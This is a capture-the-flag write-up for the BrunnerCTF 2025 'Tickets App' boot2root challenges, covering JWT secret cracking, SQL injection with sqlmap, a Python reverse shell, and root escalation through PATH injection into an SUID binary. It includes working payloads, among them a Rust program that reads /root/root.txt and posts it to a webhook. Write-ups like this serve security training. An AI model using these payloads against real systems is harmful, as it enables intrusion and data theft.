Post

BrunnerCTF 2025 - Tickets App (User) & Tickets App (Root)

BrunnerCTF 2025 - Tickets App (User) & Tickets App (Root)

This writeup is for the BrunnerCTF 2025 tournament which was held from 22/08/2025 14:00 CEST to 24/08/2025 14:00 C EST with almost 3000 players and 1500 teams participating. We play for the CTF team Jutlandia which is based in Aalborg, Denmark. We are a team consisting of players with diverse backgrounds, ranging from students to those who work with IT on a daily basis. This challenge was a joined effort by c3lphie, ajstemp, Ruttimads and me. Our team placed 15th on the international leaderboard and a 3rd place on the Danish leaderboard.

The top 10 Danish teams were eligible for the prizes in this tournament:

🏆 1st place:

  • 🔸 Giftcard to Lagkagehuset
  • 🔸 Campfire Security subscriptions
  • 🔸 BrunnerCTF T-shirts
  • 🔸 BrunnerCTF mugs

🥈 2nd-5th place:

  • 🔹 Campfire Security subscriptions
  • 🔹 BrunnerCTF T-shirts
  • 🔹 BrunnerCTF mugs

🎖️ 6th-10th place:

  • 🔸 Campfire Security subscriptions
  • 🔸 BrunnerCTF mugs

✍️ 3 best writeups:

  • 🔹 BrunnerCTF mug

This writeup is a combination of the challenges Tickets App (User) and the following Tickets App (Root) which was in the category of Boot2Root.

This writeup won the competition for the best writeups

Description of the challenges

Tickets App (User) Difficulty: Medium Author: ha1fdan (+ Nissen)

Man, I really wanted to see Brunner & Bass, but the tickets app says they’re sold out! Maybe there’s another way to get myself a ticket…

The user flag is in a file called user.txt.

Tickets App (Root) Difficulty: Medium Author: ha1fdan (+ Nissen)

You’re in! You got your ticket and front row seats. But why stop there? Tickets App must have some of their exclusive backstage access passes stored in a secure location…

The root flag is located in /root/root.txt.

Note: This challenge requires you have solved Tickets App (User).


TLDR

This challenge combines multiple techniques to escalate from an ordinary user on the website, to an initial foothold, and finally to full root access of the box. Following a chain through JWT manipulation → SQL injection → Reverse shell → Reverse engineering → Path injection → SUID binary abuse. From the reverse shell you were able to obtain the first flag user.txt and after exploiting a custom binary on the box you could elevate to root and extract the /root/root.txt flag. It was completed very late at night, and we might have overcomplicated some of the steps. Nevertheless, it was a very fun challenge that required participation from multiple team members.


First part - Tickets App (User)

When you first launch the instance you are presented with a webpage, where you are able to secure a ticket to some of the our favourite events! We for sure would have won in a bake-off competition with our infamous “Othello Lagkage” against other unnamed participants 👀

Frontpage

On the frontpage you can either register an account or login with an account. We created an account with the following credentials test:test which allow us to gain access to the dashboard https://tickets-app-user-3eea27441b01d05c.challs.brunnerne.xyz/dashboard

When the account is created, the backend generates a JWT token for the account that provide the server with the username and privilege on the website as seen on the screenhot from Firefox

JWT token.png

When you start to analyse the JWT token, there is a slight hint that it might be crackable, since it’s signature verification failed accordingly to jwt.io.

jwt.io

JWT Manipulation

The next step of the challenge is to see if we can manipulate the jwt token by cracking the secret that is used to generate the jwt token. To do that we used Hashcat and a wordlist from Daniel Miessler’s SecLists:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~]
└─$ hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsImFkbWluIjpmYWxzZSwiZXhwIjoxNzU1OTA2MzA3fQ.4NQXKNXOjUuVvAU1LJKqIiWd3VxFJEUHVfj26doF1_M /usr/share/seclists/Passwords/scraped-JWT-secrets.txt
hashcat (v6.2.6) starting

(...)

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsImFkbWluIjpmYWxzZSwiZXhwIjoxNzU1OTA2MzA3fQ.4NQXKNXOjUuVvAU1LJKqIiWd3VxFJEUHVfj26doF1_M:secretkey

Now that we found the key that is used to sign the jwt token, we are able to generate our own and alter the json in the token to change "admin": false to "admin": true.

We did that by first making a json file claim.json with the altered json and a file called key which contains the value secretkey and then we use the jwt tool to generate a valid token as seen below:

1
2
3
4
5
{
"user": "test",
"admin": true,
"exp": 1756052465
}
1
2
3
┌──(kali㉿kali)-[~/brunnerctf/challenges/Boot2Root/tickets-app-user]
└─$ jwt --sign claim.json --alg HS256 --key key
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwiZXhwIjoxNzU2MDI1OTkwLCJ1c2VyIjoidGVzdCJ9.GnwPwq2wTYKz_P_C2ZcKIoQ9Gb9HuaDrpscxunsPKfs

After successfully generating the jwt token we can swap it with our current one and gain access to the admin panel and a new search function is available for us to look into. When you search for an user, it reach out to an API endpoint https://tickets-app-user-3eea27441b01d05c.challs.brunnerne.xyz/api/search?name=* which lead us to do some basic enumeration of the website, we found this endpoint https://tickets-app-user-3eea27441b01d05c.challs.brunnerne.xyz/api/docs/ that might could become handy later.

API Docs

From the swagger file we can see there is a endpoint, that lets us upload a python file to the website and then it will execute it. This function of the website might let us to generate a reverse shell and catch it. To do that we need an API key which we don’t have yet.

SQL Injection

After some trial and error we found an interesting endpoint that we could use to maybe get the API key. If you use SQL map on the search endpoint, it reveals that is it vulnerable for SQL injection attacks.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(kali㉿kali)-[~/brunnerctf/challenges/Boot2Root/tickets-app-user]
└─$ sqlmap -u "https://tickets-app-user-3eea27441b01d05c.challs.brunnerne.xyz/api/search?name=test" --cookie="token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwiZXhwIjoxNzU2MTA1ODk0LCJ1c2VyIjoidGVzdCJ9.zCY3ZaxhOliQAiSvbyjUR1BrENh4bnCDrdRXhuDtVbg" --tables
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.9.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:20:24 /2025-08-25/

Cookie parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] n
[08:20:26] [INFO] resuming back-end DBMS 'sqlite' 
[08:20:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: name=test' UNION ALL SELECT NULL,NULL,CONCAT(CONCAT('qbkqq','OhiuOvNAsRlGAvNXBSkyBHqnWIVUbOZEPjQxYeKb'),'qqzxq'),NULL-- dIXv
---
[08:20:27] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[08:20:27] [INFO] fetching tables for database: 'SQLite_masterdb'
<current>
[3 tables]
+-----------------+
| settings        |
| sqlite_sequence |
| users           |
+-----------------+

[08:20:27] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/tickets-app-user-3eea27441b01d05c.challs.brunnerne.xyz'                                                                                                                            

[*] ending @ 08:20:27 /2025-08-25/

First we enumerated the database which revealed 3 tables we can dig into. The settings table is the first on the list, so lets start there and dump the table with the following command:

1
2
┌──(kali㉿kali)-[~/brunnerctf/challenges/Boot2Root/tickets-app-user]
└─$ sqlmap -u "https://tickets-app-user-3eea27441b01d05c.challs.brunnerne.xyz/api/search?name=test" --cookie="token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwiZXhwIjoxNzU2MTA1ODk0LCJ1c2VyIjoidGVzdCJ9.zCY3ZaxhOliQAiSvbyjUR1BrENh4bnCDrdRXhuDtVbg" -t settings --dump

The API key that we needed to use the upload module functionality is seen below from the table dump from sqlmap.

1
2
3
4
5
6
| id | key              | value                            |
|----|------------------|----------------------------------|
| 1  | site_name        | Tickets App                      |
| 2  | ctf_name         | BrunnerCTF                       |
| 3  | development_mode | false                            |
| 4  | api_key          | jmHdkzfav1nr4XKvrVWPyg1XHeLtlTX0 |

Reverse shell

Now that we are able to upload a python file and execute it, we need to generate a payload and upload it to the box:

1
2
3
4
5
6
7
import os
import pty
import socket
s=socket.socket()
s.connect(("IPADRR",PORT))
[os.dup2(s.fileno(),f) for f in(0,1,2)]
pty.spawn("/bin/bash")

To do the upload we used this curl command with the provided API key we got from the SQL injection attack:

1
2
3
4
5
curl -X PUT \ 'https://tickets-app-user-3eea27441b01d05c.challs.brunnerne.xyz/api/module?filename=revshell.py&apiKey=jmHdkzfav1nr4XKvrVWPyg1XHeLtlTX0' \
  -H 'accept: /' \
  -H 'Content-Type: application/octet-stream' \
  --data-binary '@revshell.py'

To be able to catch the reverse shell, you can set up a ngrok instance or whatever tool that is to your liking and then catch it with an listener nc -lvnp 4444 remember to change your payload accordingly depending on the service you use.

Reverse Shell

Now that we have established our connection, we can begin the search for the first flag. We kept getting the http logs, which were quite annoying, unfortunately we weren’t able to get rid of them. When you land on the box the flag is in the current directory, we are able to cat out the user.txt file and get the flag to complete the first challenge:

User flag

Flag: brunner{fr0nt_r0w_t1ck3ts_f0r_brunn3r_4nd_b455}

Second part - Tickets App (Root)

We know that the final flag is placed in /root/root.txt from the challenge description, so we need to escalate to the root user. At the moment we only have the user ctfplayer to play with. The box doesn’t have either curl or wget installed, so we need to find another way to grab Linpeas.sh from the web, which maybe could be able show us which way to go to gain root.

We know from the upload module of the website, that it is able to run python, so we can use this to our advantage and download linpeas.sh using python.

1
2
3
python3 -c "import urllib.request; urllib.request.urlretrieve('https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh','linpeas.sh')"
chmod +x linpeas.sh
./linpeas.sh

Now that we have linpeas.sh on the box, lets try to find something useful from it. The output below, stood out to us and could indicate a vulnerability on the box.

Linpeas

We can see from the output from linpeas.sh that the binary syslog-manager could be of great interest, so we started to look into that by look at what it can do. On the screenshot below can you see how you can use the binary.

Syslog-Manager

Reverse Engineering

If you try and google for syslog-manager, it doesn’t seem to be a general binary used by others. So that indicate to us that it might be a custom binary? We tried to use the command that it list and we found out that the clean function keep failing for some unknown reason. The binary is interesting since it have SUID of root and could be a target for abuse, since everyone is able to execute it. We then decided to pull it down from the box and crack it open with Ghidra which is a reverse engineering tool. We converted the binary to base64 and served it on the webpage to be able to download it.

Below is a snippet of the function clean:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
undefined8 cmd_clean(void)

{
  int iVar1;
  undefined8 uVar2;
  char local_1018 [4108];
  int local_c;
  
  iVar1 = snprintf(local_1018,0x1000,"cleaner %s 2>/dev/null","/var/log/syslog.log");
  if (iVar1 < 0x1000) {
    local_c = system(local_1018);
    if (local_c == 0) {
      uVar2 = 0;
    }
    else {
      fwrite("Error: cleaning failed\n",1,0x17,stderr);
      uVar2 = 1;
    }
  }
  else {
    fwrite("Command too long\n",1,0x11,stderr);
    uVar2 = 1;
  }
  return uVar2;
}

The function clean calls a binary called cleaner, but when you search the box for this binary nothing comes up, so this might be an interesting clue. So we decided to see if we could exploit this function.

c3lphie was kind enough to write a blazing fast rust binary that we could use to exploit syslog-manager with a Path Injection vulnerability:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
use std::process::Command;

use serde_json::json;


#[tokio::main]
async fn main() -> anyhow::Result<()>{

    let output = Command::new("sh")
        .arg("-c")
        .arg("cat /root/root.txt")
        .output()
        .expect("whoami is not available");
    let mut result = String::from_utf8(output.stdout).unwrap();
    result.pop();

    let client = reqwest::Client::new();
    let res = client.post("https://webhook.site/a473b4bc-9d81-4d64-94e0-e4ec1738db33")
        .json(&json!({"whoami": result}))
        .send()
        .await?.text().await?;

    Ok(())
}

The compiled binary was then base64 encoded into a new file, where the contents was wrapped in " and then uploaded as a .py file using the API on the website. After the file was uploaded we just needed to clean it up, make it executable and then add it to our $PATH and activate syslog-manager.

1
2
3
cat cleaner.py | cut -d'"' -f 2 | base64 -d > cleaner
chmod +x cleaner
PATH="/home/ctfplayer/:$PATH" syslog-manager clean

SUID Binary abuse via Path injection

The reason why this trick works is because the syslog-manager (that have SUID root) executes the command cleaner without specifying an absolute path. By adding a directory containing our own cleaner binary to the start of the $PATH, we make sure that when syslog-manager runs cleaner, it executes our binary as root, hence giving it full root privileges. The binary then runs a shell command to read the flag from /root and sends it to the webhook.

To gain the flag we just run the syslog-manager clean command and it will output the flag to our webhook.

Root flag

Flag: brunner{sl1pp3d_p4st_s3cur17y_4nd_g0t_b4cks74g3_4cc3ss}

This post is licensed under CC BY 4.0 by the author.